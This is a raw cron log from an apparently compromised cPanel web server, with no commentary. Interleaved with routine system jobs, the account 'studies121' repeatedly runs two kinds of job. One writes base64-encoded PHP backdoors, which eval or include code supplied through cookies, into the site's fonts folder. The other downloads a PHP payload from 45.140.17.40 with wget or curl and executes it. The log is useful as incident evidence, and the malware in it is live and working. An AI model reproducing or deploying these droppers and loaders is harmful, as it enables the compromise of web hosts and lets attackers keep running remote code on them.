Sep 21 15:21:01 ip-184-168-122-23 CROND[31526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:21:01 ip-184-168-122-23 CROND[31527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:21:01 ip-184-168-122-23 CROND[31528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:22:01 ip-184-168-122-23 CROND[31650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:22:01 ip-184-168-122-23 CROND[31652]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:22:01 ip-184-168-122-23 CROND[31653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:22:01 ip-184-168-122-23 CROND[31654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:22:01 ip-184-168-122-23 CROND[31655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:23:01 ip-184-168-122-23 CROND[31862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:23:01 ip-184-168-122-23 CROND[31861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:23:01 ip-184-168-122-23 CROND[31863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:23:01 ip-184-168-122-23 CROND[31864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:24:01 ip-184-168-122-23 CROND[31975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:24:01 ip-184-168-122-23 CROND[31974]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:24:01 ip-184-168-122-23 CROND[31976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:24:01 ip-184-168-122-23 CROND[31978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:24:01 ip-184-168-122-23 CROND[31977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:25:01 ip-184-168-122-23 CROND[32177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:25:01 ip-184-168-122-23 CROND[32178]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 15:25:01 ip-184-168-122-23 CROND[32182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:25:01 ip-184-168-122-23 CROND[32183]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 15:25:01 ip-184-168-122-23 CROND[32184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:25:01 ip-184-168-122-23 CROND[32181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:26:01 ip-184-168-122-23 CROND[32318]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:26:01 ip-184-168-122-23 CROND[32321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:26:01 ip-184-168-122-23 CROND[32320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:26:01 ip-184-168-122-23 CROND[32324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:26:01 ip-184-168-122-23 CROND[32325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:27:01 ip-184-168-122-23 CROND[32480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:27:01 ip-184-168-122-23 CROND[32482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:27:01 ip-184-168-122-23 CROND[32483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:27:01 ip-184-168-122-23 CROND[32484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:28:01 ip-184-168-122-23 CROND[32613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:28:01 ip-184-168-122-23 CROND[32615]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:28:01 ip-184-168-122-23 CROND[32616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:28:01 ip-184-168-122-23 CROND[32618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:28:01 ip-184-168-122-23 CROND[32617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:29:01 ip-184-168-122-23 CROND[392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:29:01 ip-184-168-122-23 CROND[394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:29:01 ip-184-168-122-23 CROND[395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:29:01 ip-184-168-122-23 CROND[397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:30:01 ip-184-168-122-23 CROND[546]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 15:30:01 ip-184-168-122-23 CROND[549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:30:01 ip-184-168-122-23 CROND[548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:30:01 ip-184-168-122-23 CROND[547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:30:01 ip-184-168-122-23 CROND[553]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 15:30:01 ip-184-168-122-23 CROND[557]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 15:30:01 ip-184-168-122-23 CROND[560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:30:01 ip-184-168-122-23 CROND[558]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:31:01 ip-184-168-122-23 CROND[683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:31:01 ip-184-168-122-23 CROND[684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:31:01 ip-184-168-122-23 CROND[687]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 15:31:01 ip-184-168-122-23 CROND[685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:31:01 ip-184-168-122-23 CROND[688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:32:02 ip-184-168-122-23 CROND[844]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:32:02 ip-184-168-122-23 CROND[848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 15:32:02 ip-184-168-122-23 CROND[849]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 15:32:02 ip-184-168-122-23 CROND[846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 15:32:02 ip-184-168-122-23 CROND[847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:33:01 ip-184-168-122-23 CROND[978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 15:33:01 ip-184-168-122-23 CROND[980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 15:33:01 ip-184-168-122-23 CROND[981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
